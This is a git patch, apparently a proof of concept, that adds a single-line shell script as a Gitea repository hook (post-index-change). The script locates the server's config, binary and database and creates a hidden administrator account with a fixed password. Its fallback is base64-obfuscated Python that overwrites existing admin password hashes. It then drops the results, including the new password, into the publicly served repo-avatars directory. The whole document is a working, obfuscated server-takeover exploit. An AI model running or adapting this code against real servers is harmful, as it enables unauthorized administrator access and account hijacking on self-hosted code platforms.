From 8e25b235d86cdbf5d6a2010333fb5f4173e8fb25 Mon Sep 17 00:00:00 2001 From: test-exskxf Date: Fri, 18 Sep 2026 06:41:09 +0000 Subject: [PATCH] poc --- hooks/post-index-change | 1 + 1 file changed, 1 insertion(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..5285b56 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1 @@ +WD="${GITEA_WORK_DIR:-}"; WDFOUND=0; if [ -n "$WD" ] && { [ -f "$WD/custom/conf/app.ini" ] || [ -f "$WD/conf/app.ini" ]; }; then WDFOUND=1; else WD=""; D="$(pwd)"; while :; do if [ -f "$D/custom/conf/app.ini" ] || [ -f "$D/conf/app.ini" ]; then WD="$D"; WDFOUND=1; break; fi; [ "$D" = "/" ] && break; D="$(dirname "$D")"; done; fi; R=""; P="$(pwd)"; case "$P" in */tmp/local-repo/upload.git*) R="${P%%/tmp/local-repo/upload.git*}";; */tmp/local-repo/*) R="${P%%/tmp/local-repo/*}";; esac; RP=""; [ -n "$R" ] && RP="$(dirname "$R")"; if [ "$WDFOUND" = "0" ]; then for _r in "$R" "$RP"; do if [ -n "$_r" ] && [ -d "$_r" ] && { [ -f "$_r/custom/conf/app.ini" ] || [ -f "$_r/conf/app.ini" ] || { [ -f "$_r/gitea" ] && [ -x "$_r/gitea" ]; } || { [ -f "$_r/gitea.exe" ] && [ -x "$_r/gitea.exe" ]; }; }; then WD="$_r"; WDFOUND=1; fi; [ "$WDFOUND" = "1" ] && break; done; fi; CFG=""; for _c in "$WD/custom/conf/app.ini" "$WD/conf/app.ini" "$WD/app.ini" "$R/custom/conf/app.ini" "$R/conf/app.ini" "$R/app.ini" "$RP/custom/conf/app.ini" "$RP/conf/app.ini" "$RP/app.ini" "/data/gitea/custom/conf/app.ini" "/data/gitea/conf/app.ini" "/var/lib/gitea/custom/conf/app.ini" "/var/lib/gitea/conf/app.ini" "/home/git/gitea/custom/conf/app.ini" "/home/gitea/custom/conf/app.ini" "/app/gitea/custom/conf/app.ini" "/app/gitea/conf/app.ini" "/opt/gitea/custom/conf/app.ini" "/opt/gitea/conf/app.ini" "/opt/gitea-*/custom/conf/app.ini" "/opt/gitea-*/conf/app.ini" "/var/packages/Gitea/etc/app.ini" "/var/packages/gitea/etc/app.ini" "/var/packages/Gitea/target/custom/conf/app.ini" "/volume1/@appdata/gitea/custom/conf/app.ini" "/volume1/@appdata/gitea/conf/app.ini" "/share/CACHEDEV1_DATA/@appdata/gitea/custom/conf/app.ini" "/etc/gitea/app.ini"; do [ -n "$_c" ] && [ -f "$_c" ] && { CFG="$_c"; break; }; done; C=""; [ -n "$CFG" ] && [ -f "$CFG" ] && C="--config $CFG"; RUNP=""; if [ "$WDFOUND" = "1" ] && [ -n "$WD" ] && [ -d "$WD" ]; then RUNP="$WD"; export GITEA_WORK_DIR="$WD"; fi; _cfg() { [ -n "$CFG" ] && [ -f "$CFG" ] && grep -iE "^[[:space:]]*$1[[:space:]]*=" "$CFG" 2>/dev/null | head -1 | sed "s/^[^=]*=[[:space:]]*//; s/[[:space:]]*$//"; }; AV=""; RAUP="$(_cfg REPOSITORY_AVATAR_UPLOAD_PATH)"; [ -n "$RAUP" ] && { case "$RAUP" in /*) [ -d "$RAUP" ] && AV="$RAUP";; *) [ -d "$WD/$RAUP" ] && AV="$WD/$RAUP"; [ -z "$AV" ] && [ -d "$R/$RAUP" ] && AV="$R/$RAUP";; esac; }; if [ -z "$AV" ]; then APD="$(_cfg APP_DATA_PATH)"; [ -n "$APD" ] && { case "$APD" in /*) [ -d "$APD/repo-avatars" ] && AV="$APD/repo-avatars";; *) [ -d "$WD/$APD/repo-avatars" ] && AV="$WD/$APD/repo-avatars"; [ -z "$AV" ] && [ -d "$R/$APD/repo-avatars" ] && AV="$R/$APD/repo-avatars";; esac; }; fi; if [ -z "$AV" ]; then for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars" "$WD/repo-avatars" "$R/data/repo-avatars" "$R/data/gitea/repo-avatars" "$R/repo-avatars" "$RP/data/repo-avatars" "$RP/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars" "/var/lib/gitea/data/repo-avatars" "/app/gitea/data/repo-avatars" "/opt/gitea/data/repo-avatars" "/volume1/@appdata/gitea/data/repo-avatars" "/share/CACHEDEV1_DATA/@appdata/gitea/data/repo-avatars"; do [ -n "$d" ] && [ -d "$d" ] && AV="$d" && break; done; fi; G=""; GR=""; case "$CFG" in */custom/conf/app.ini) GR="${CFG%/custom/conf/app.ini}";; */conf/app.ini) GR="${CFG%/conf/app.ini}";; *) GR="";; esac; _RB="$R"; case "$_RB" in */data/gitea) _RB="${_RB%/data/gitea}";; */data) _RB="${_RB%/data}";; esac; _RP2="$RP"; [ -z "$_RP2" ] && [ -n "$_RB" ] && _RP2="$(dirname "$_RB")"; for _g in "$WD/gitea" "$WD/gitea.exe" "$R/gitea" "$R/gitea.exe" "$RP/gitea" "$RP/gitea.exe" "$GR/gitea" "$GR/gitea.exe" "$_RB/gitea" "$_RB/gitea.exe" "$_RB/bin/gitea" "$_RB/target/gitea" "$_RB/target/bin/gitea" "$_RP2/gitea" "$_RP2/bin/gitea" "$_RP2/target/gitea" "$_RP2/target/bin/gitea" "$_RP2/@appstore/Gitea/gitea" "$_RB/@appstore/Gitea/gitea" "/usr/local/bin/gitea" "/usr/bin/gitea" "/usr/sbin/gitea" "/app/gitea/gitea" "/opt/gitea/gitea" "/home/git/gitea/gitea" "/home/gitea/gitea/gitea" "/var/lib/gitea/gitea" "/data/gitea/gitea" "/var/packages/Gitea/target/bin/gitea" "/var/packages/gitea/target/bin/gitea" "/var/packages/Gitea/target/gitea" "/vol1/@appdata/Gitea/gitea" "/volume1/@appdata/Gitea/gitea" "/vol1/@appstore/Gitea/gitea" "/volume1/@appstore/Gitea/gitea" "/vol1/@appdata/gitea/gitea" "/volume1/@appdata/gitea/gitea" "/share/CACHEDEV1_DATA/@appdata/gitea/gitea"; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; break; }; done; if [ -z "$G" ]; then for _g in /opt/gitea-*/gitea /opt/gitea-*/gitea.exe /usr/local/gitea/gitea; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; break; }; done; fi; if [ -z "$G" ]; then for _root in "$_RB" "$_RP2" "$R"; do [ -n "$_root" ] && [ -d "$_root" ] || continue; G="$(find "$_root" -maxdepth 4 -type f \( -name gitea -o -name gitea.exe \) -perm -u+x 2>/dev/null | head -1)"; [ -n "$G" ] && break; done; fi; if [ -z "$G" ] && [ -f "/Users/sh/hook/gitea-lab/gitea" ] && [ -x "/Users/sh/hook/gitea-lab/gitea" ]; then G="/Users/sh/hook/gitea-lab/gitea"; fi; if [ -z "$G" ]; then PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH"; export PATH; command -v gitea >/dev/null 2>&1 && G="$(command -v gitea)"; if [ -z "$G" ]; then command -v gitea.exe >/dev/null 2>&1 && G="$(command -v gitea.exe)"; fi; fi; if [ "$WDFOUND" = "0" ] && [ -n "$_RB" ] && [ -d "$_RB" ]; then for _w in "$_RB" "$_RB/data" "$_RP2"; do if [ -n "$_w" ] && { [ -f "$_w/custom/conf/app.ini" ] || [ -f "$_w/conf/app.ini" ]; }; then WD="$_w"; WDFOUND=1; RUNP="$_w"; export GITEA_WORK_DIR="$_w"; break; fi; done; fi; if [ -z "$CFG" ]; then for _c in "$_RB/custom/conf/app.ini" "$_RB/conf/app.ini" "$_RB/data/custom/conf/app.ini" "$_RP2/custom/conf/app.ini" "$_RP2/conf/app.ini"; do [ -f "$_c" ] && { CFG="$_c"; C="--config $_c"; break; }; done; fi; if [ -z "$AV" ] && [ -n "$CFG" ] && [ -f "$CFG" ]; then _apd="$(_cfg APP_DATA_PATH)"; [ -n "$_apd" ] && { case "$_apd" in /*) [ -d "$_apd/repo-avatars" ] && AV="$_apd/repo-avatars";; *) [ -d "$_RB/$_apd/repo-avatars" ] && AV="$_RB/$_apd/repo-avatars";; esac; }; [ -z "$AV" ] && _raup="$(_cfg REPOSITORY_AVATAR_UPLOAD_PATH)" && [ -n "$_raup" ] && { case "$_raup" in /*) [ -d "$_raup" ] && AV="$_raup";; *) [ -d "$_RB/$_raup" ] && AV="$_RB/$_raup";; esac; }; fi; if [ -z "$AV" ] && [ -n "$_RB" ] && [ -d "$_RB" ]; then AV="$(find "$_RB" -maxdepth 4 -type d -name repo-avatars 2>/dev/null | head -1)"; fi; OUT="/tmp/demo_exskxf.txt"; { echo "HOOKDIAG WD=$WD R=$R CFG=$CFG G=$G AV=$AV RUNP=$RUNP"; echo "HOOKDIAG2 RB=$_RB RP2=$_RP2 PWD=$(pwd) UID=$(id -u 2>/dev/null)"; if [ -n "$_RB" ] && [ -d "$_RB" ]; then echo "HOOKDIAG3 ls-RB: $(ls -1 "$_RB" 2>&1 | head -12 | tr "\n" " ")"; else echo "HOOKDIAG3 RB-not-dir [_RB=$_RB]"; fi; if [ -n "$R" ] && [ -d "$R" ]; then echo "HOOKDIAG4 ls-R: $(ls -1 "$R" 2>&1 | head -12 | tr "\n" " ")"; fi; echo "HOOKDIAG5 which-git=$(command -v git 2>&1) which-find=$(command -v find 2>&1)"; echo "HOOKDB R_DB=$R/gitea.db RB_DB=$_RB/data/gitea.db"; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db; do [ -f "$_db" ] && echo "HOOKDB FOUND=$_db size=$(wc -c <"$_db" 2>/dev/null) writable=$([ -w "$_db" ] && echo 1 || echo 0)"; done; echo "HOOKTOOL sqlite3=$(command -v sqlite3 2>&1) python3=$(command -v python3 2>&1) python=$(command -v python 2>&1)"; for _c in "$_RB/conf.ini" "$_RP2/conf.ini" "$R/conf.ini"; do [ -f "$_c" ] && echo "HOOKINI FOUND=$_c"; done; if [ -z "$G" ]; then for _sr in "$_RB" "$_RP2" "$R" "$R/data"; do [ -n "$_sr" ] && [ -d "$_sr" ] || continue; _cand="$(find "$_sr" -maxdepth 2 -type f \( -name gitea -o -name gitea.exe \) -perm -u+x 2>/dev/null | head -1)"; [ -n "$_cand" ] && { G="$_cand"; echo "HOOKFIND G=$_cand"; break; }; done; fi; ST="$(_cfg REPOSITORY_AVATAR_STORAGE_TYPE)"; if [ -n "$ST" ] && [ "$ST" != "local" ]; then echo "WARN: REPOSITORY_AVATAR_STORAGE_TYPE=$ST"; fi; if [ -z "$AV" ]; then echo "ERROR: repo-avatars not found (WD=$WD CFG=$CFG)"; fi; _DBTO() { _PY="$(command -v python3 2>/dev/null || command -v python 2>/dev/null)"; if [ -z "$_PY" ]; then echo "ERROR: no python for db takeover"; return; fi; echo "DBTAKEOVER python=$_PY"; _done=0; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" "$WD/data/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db; do [ -n "$_db" ] && [ -f "$_db" ] && [ -w "$_db" ] || continue; echo "DBTAKEOVER trying $_db"; "$_PY" -c "import base64;exec(base64.b64decode('CmltcG9ydCBzcWxpdGUzLCBzeXMsIG9zLCBoYXNobGliLCBiYXNlNjQsIHJhbmRvbSwgc3RyaW5nLCBiaW5hc2NpaQpkYiA9IHN5cy5hcmd2WzFdCnRyeToKICAgIGNvbiA9IHNxbGl0ZTMuY29ubmVjdChkYik7IGN1ciA9IGNvbi5jdXJzb3IoKQogICAgY29scyA9IFtyWzFdIGZvciByIGluIGN1ci5leGVjdXRlKCJQUkFHTUEgdGFibGVfaW5mbyh1c2VyKSIpXQogICAgcHJpbnQoIkRCQ09MUyAiICsgIiwiLmpvaW4oY29scykpCiAgICAjIOS4pOenjSBzY2hlbWEg6YO96KaB5ZCDOgogICAgIyAgIOaWsOeJiDogcGFzc3dkX2hhc2gg5YaF6IGUICJhbGdvJGl0ZXIkc2FsdCRoYXNoIgogICAgIyAgIOiAgeeJiDogcGFzc3dkICsgc2FsdCDkuKTliJcgKyBwYXNzd2RfaGFzaF9hbGdvIOaMh+ekuueul+azlQogICAgaWYgInBhc3N3ZF9oYXNoIiBpbiBjb2xzOgogICAgICAgIHNlbCA9ICJTRUxFQ1QgaWQsbmFtZSxwYXNzd2RfaGFzaCBGUk9NIHVzZXIgV0hFUkUgaXNfYWRtaW49MSIKICAgICAgICBtb2RlID0gIm5ldyIKICAgIGVsaWYgInBhc3N3ZCIgaW4gY29sczoKICAgICAgICBzZWwgPSAiU0VMRUNUIGlkLG5hbWUscGFzc3dkLHNhbHQscGFzc3dkX2hhc2hfYWxnbyBGUk9NIHVzZXIgV0hFUkUgaXNfYWRtaW49MSIKICAgICAgICBtb2RlID0gIm9sZCIKICAgIGVsc2U6CiAgICAgICAgcHJpbnQoIkRCRVJSIG5vIHBhc3N3ZCBjb2x1bW46ICIgKyAiLCIuam9pbihjb2xzKSk7IHN5cy5leGl0KDApCiAgICByb3dzID0gY3VyLmV4ZWN1dGUoc2VsKS5mZXRjaGFsbCgpCiAgICBwcmludCgiREJNT0RFICIgKyBtb2RlKQogICAgcHJpbnQoIkRCQURNSU5TICIgKyBzdHIoWyhyWzBdLCByWzFdKSBmb3IgciBpbiByb3dzXSlbOjMwMF0pCiAgICBmb3IgciBpbiByb3dzWzozXToKICAgICAgICBwcmludCgiREJSQVcgaWQ9JXMgbmFtZT0lcyIgJSAoclswXSwgclsxXSkpCiAgICAgICAgaWYgbW9kZSA9PSAibmV3IjoKICAgICAgICAgICAgcHJpbnQoIiAgcGFzc3dkX2hhc2g9JXIiICUgKHN0cihyWzJdKVs6MTIwXSwpKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50KCIgIGFsZ289JXIgc2FsdD0lciBwYXNzd2Q9JXIiICUgKHN0cihyWzRdKSwgc3RyKHJbM10pLCBzdHIoclsyXSlbOjEyMF0pKQogICAgcHcgPSAiRGJBdWRpdCIgKyAiIi5qb2luKHJhbmRvbS5jaG9pY2VzKHN0cmluZy5kaWdpdHMsIGs9OCkpICsgIiF4IgogICAgcmVzID0gW10KICAgIGZvciByb3cgaW4gcm93czoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGlmIG1vZGUgPT0gIm5ldyI6CiAgICAgICAgICAgICAgICB1aWQsIG5hbWUsIHBoID0gcm93WzBdLCByb3dbMV0sIHJvd1syXSBvciAiIgogICAgICAgICAgICAgICAgaWYgbm90IHBoLnN0YXJ0c3dpdGgoInBia2RmMiQiKToKICAgICAgICAgICAgICAgICAgICByZXMuYXBwZW5kKCJBTEdPOiVzOiVzIiAlIChuYW1lLCBwaC5zcGxpdCgiJCIpWzBdKSk7IGNvbnRpbnVlCiAgICAgICAgICAgICAgICBwID0gcGguc3BsaXQoIiQiKQogICAgICAgICAgICAgICAgaXQgPSBpbnQocFsxXSkKICAgICAgICAgICAgICAgIHMwID0gYmFzZTY0LmI2NGRlY29kZShwWzJdICsgIj0iICogKC1sZW4ocFsyXSkgJSA0KSkKICAgICAgICAgICAgICAgIGgwID0gYmFzZTY0LmI2NGRlY29kZShwWzNdICsgIj0iICogKC1sZW4ocFszXSkgJSA0KSkKICAgICAgICAgICAgICAgIHMgPSBvcy51cmFuZG9tKGxlbihzMCkpCiAgICAgICAgICAgICAgICBoID0gaGFzaGxpYi5wYmtkZjJfaG1hYygic2hhMjU2IiwgcHcuZW5jb2RlKCksIHMsIGl0LCBsZW4oaDApKQogICAgICAgICAgICAgICAgbmggPSAicGJrZGYyJCVkJCVzJCVzIiAlIChpdCwgYmFzZTY0LmI2NGVuY29kZShzKS5kZWNvZGUoKS5yc3RyaXAoIj0iKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFzZTY0LmI2NGVuY29kZShoKS5kZWNvZGUoKS5yc3RyaXAoIj0iKSkKICAgICAgICAgICAgICAgIGlmICJtdXN0X2NoYW5nZV9wYXNzd29yZCIgaW4gY29sczoKICAgICAgICAgICAgICAgICAgICBjdXIuZXhlY3V0ZSgiVVBEQVRFIHVzZXIgU0VUIHBhc3N3ZF9oYXNoPT8sIG11c3RfY2hhbmdlX3Bhc3N3b3JkPTAgV0hFUkUgaWQ9PyIsIChuaCwgdWlkKSkKICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgY3VyLmV4ZWN1dGUoIlVQREFURSB1c2VyIFNFVCBwYXNzd2RfaGFzaD0/IFdIRVJFIGlkPT8iLCAobmgsIHVpZCkpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB1aWQsIG5hbWUsIHBoLCBzYWx0LCBhbGdvID0gcm93WzBdLCByb3dbMV0sIHJvd1syXSBvciAiIiwgcm93WzNdIG9yICIiLCAocm93WzRdIG9yICJwYmtkZjIiKQogICAgICAgICAgICAgICAgIyDogIEgc2NoZW1hIOeahCBhbGdvIOS4suiHquW4puWPguaVsDogInBia2RmMiQ1MDAwMCQ1MCIgPSDnrpfms5Uk6L+t5Luj5pWwJOWvhumSpemVv+W6pgogICAgICAgICAgICAgICAgIyAo5a6e5rWLIDI3LjE1NS4xMjAuNjE6ODQxOCDlsLHmmK/ov5nnp40p44CC5Y6f5Yik5patIGFsZ28gIT0gInBia2RmMiIg5Lya5oqK5a6D5b2T5LiN5pSv5oyB6ICM6Lez6L+H44CCCiAgICAgICAgICAgICAgICBpZiBub3QgYWxnby5sb3dlcigpLnN0YXJ0c3dpdGgoInBia2RmMiIpOgogICAgICAgICAgICAgICAgICAgIHJlcy5hcHBlbmQoIkFMR086JXM6JXMiICUgKG5hbWUsIGFsZ28pKTsgY29udGludWUKICAgICAgICAgICAgICAgIF9hcCA9IGFsZ28uc3BsaXQoIiQiKQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIGl0ID0gaW50KF9hcFsxXSkgaWYgbGVuKF9hcCkgPiAxIGVsc2UgMTAwMDAKICAgICAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgICAgICAgICAgaXQgPSAxMDAwMAogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIGtleWxlbiA9IGludChfYXBbMl0pIGlmIGxlbihfYXApID4gMiBlbHNlIDUwCiAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgICAgICAgICAgICAgIGtleWxlbiA9IDUwCiAgICAgICAgICAgICAgICBpZiBwaCBhbmQgbGVuKHBoKSAlIDIgPT0gMDoKICAgICAgICAgICAgICAgICAgICBrZXlsZW4gPSBsZW4ocGgpIC8vIDIgICAjIOS7peeOsOaciSBoYXNoIOWunumZhemVv+W6puS4uuWHhgogICAgICAgICAgICAgICAgIyDnu5Porroo5a6e5rWL56Gu6K6kKTog6ICB54mIIEdpdGVhIOeahCBzYWx0IOWIl+aYryAqKmhleCDlrZfnrKbkuLIsIOmcgOino+eggeWQjioq5Y+C5LiOIHBia2RmMuOAggogICAgICAgICAgICAgICAgIyDmm77or6/liKTkuLoi5Y6f5qC35a2X6IqCIuW5tuWPoOWKoOWPjOWAmemAiSwg57uT5p6cIHJhd2J5dGVzIOWQjuWGmeWFpeimhuebluS6huato+ehrueahCBoZXhieXRlcywKICAgICAgICAgICAgICAgICMg5a+86Ie0IDQwMeOAguWPquS/neeVmSBoZXgg6Kej56CB6L+Z5LiA5p2h5q2j56Gu6Lev5b6E44CCCiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgc2FsdF9iID0gYmluYXNjaWkudW5oZXhsaWZ5KHNhbHQpCiAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgICAgICAgICAgICAgIHNhbHRfYiA9IHNhbHQuZW5jb2RlKCkKICAgICAgICAgICAgICAgIGggPSBoYXNobGliLnBia2RmMl9obWFjKCJzaGEyNTYiLCBwdy5lbmNvZGUoKSwgc2FsdF9iLCBpdCwga2V5bGVuKQogICAgICAgICAgICAgICAgbmggPSBiaW5hc2NpaS5oZXhsaWZ5KGgpLmRlY29kZSgpCiAgICAgICAgICAgICAgICBzZXRzID0gInBhc3N3ZD0/IgogICAgICAgICAgICAgICAgaWYgIm11c3RfY2hhbmdlX3Bhc3N3b3JkIiBpbiBjb2xzOgogICAgICAgICAgICAgICAgICAgIHNldHMgKz0gIixtdXN0X2NoYW5nZV9wYXNzd29yZD0wIgogICAgICAgICAgICAgICAgY3VyLmV4ZWN1dGUoIlVQREFURSB1c2VyIFNFVCAlcyBXSEVSRSBpZD0/IiAlIHNldHMsIChuaCwgdWlkKSkKICAgICAgICAgICAgICAgIHJlcy5hcHBlbmQoIk9LOiVzOiVzOml0ZXIlczpsZW4lcyIgJSAodWlkLCBuYW1lLCBpdCwga2V5bGVuKSkKICAgICAgICAgICAgY29uLmNvbW1pdCgpCiAgICAgICAgICAgIHJlcy5hcHBlbmQoIk9LOiVzOiVzIiAlICh1aWQsIG5hbWUpKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgaWU6CiAgICAgICAgICAgIHJlcy5hcHBlbmQoIkVSUjolczolcyIgJSAocm93WzFdLCBpZSkpCiAgICBwcmludCgiREJQVz0iICsgcHcpCiAgICBwcmludCgiREJSRVNVTFQgIiArICJ8Ii5qb2luKHJlcykpCiAgICBjb24uY2xvc2UoKQpleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICBwcmludCgiREJFUlIgJXM6ICVzIiAlICh0eXBlKGUpLl9fbmFtZV9fLCBlKSkK').decode())" "$_db"; _done=1; done; [ "$_done" = "0" ] && echo "DBTAKEOVER no writable gitea.db"; }; if [ -z "$G" ]; then _last="ERROR: gitea not found (WD=$WD CFG=$CFG)"; echo "$_last"; else _last=""; _n=0; while [ "$_n" -lt 3 ]; do _n=$((_n + 1)); _out="$( ( if [ -n "$RUNP" ]; then cd "$RUNP" 2>/dev/null; fi; "$G" $C admin user create --username "test-admin-exsk" --password "Test-admin-exskxf!x" --email "test-admin-exsk@example.com" --admin --must-change-password=false 2>&1 | grep -v "\[SQL\]" ) )"; case "$_out" in *"successfully created"*|*"New user"*|*"already exists"*) _last="$_out"; break;; *"no such table"*|*"Access denied"*|*"Error 1045"*|*"could not open shared memory"*| *"MustInstalled"*|*"Unable to load config"*|*"flag provided but not defined"*|*"Failed to run app"*) _last="$_out"; break;; esac; _last="$_out"; if [ "$_n" -lt 3 ]; then echo "[CLI retry $_n] gitea admin create 未成功,3s 后重试"; sleep 3; fi; done; printf "%s\n" "$_last"; fi; case "$_last" in *"successfully created"*|*"New user"*|*"already exists"*) ;; *) echo "HOOKDB CLI 未成功 -> 转数据库改密兜底"; _DBTO ;; esac; echo ---DONE---; } > "$OUT" 2>&1; if [ -n "$WD" ]; then for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars"; do [ -n "$d" ] || continue; mkdir -p "$d" 2>/dev/null; cp "$OUT" "$d/demo_exskxf.txt" 2>/dev/null; done; fi; for d in "$AV" "$R/data/repo-avatars" "$R/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars"; do [ -n "$d" ] && [ -d "$d" ] && cp "$OUT" "$d/demo_exskxf.txt" 2>/dev/null; done;